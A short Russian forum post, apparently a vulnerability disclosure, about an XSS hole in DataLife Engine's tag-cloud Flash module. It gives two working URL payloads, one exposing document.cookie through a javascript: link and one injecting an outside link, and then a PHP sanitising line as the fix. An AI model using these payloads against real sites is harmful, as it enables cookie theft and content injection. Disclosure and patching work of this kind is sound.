|
На всех версиях DLE, где используется облако тегов уязвимость! На 8.3 кстати представленный по ссылке модуль вообще не работает, но создаёт дырку laughingИтак приступим:У нас два варианта,Первый, по HTML, второй через XSS.Да, дырка настолько большая что и простой html отрабатывает так как нам нужно.вход на сайт XSS:http://ваш-сайт.ру/engine/classes/tagcloud/tagcloud.swf?mode=tags&tagcloud=<tags><a+href='javascript:alert(document.cookie)'+style='font-size:+50pt'>Click me</a></tags> вход на сайт простым HTML :http://ваш-сайт.ру/engine/classes/tagcloud/tagcloud.swf?mode=tags&tagcloud=<tags><a+href='http://ssfera.ru'+style='font-size:+40pt'>Click me</a></tags> Убрать уязвимость можно строчкой: $tags = $db->safesql( htmlspecialchars( strip_tags( stripslashes( trim( $_GET['tagcloud'] ) ) ), ENT_QUOTES ) ); Строчку заинклудить надо в parse.class.php

|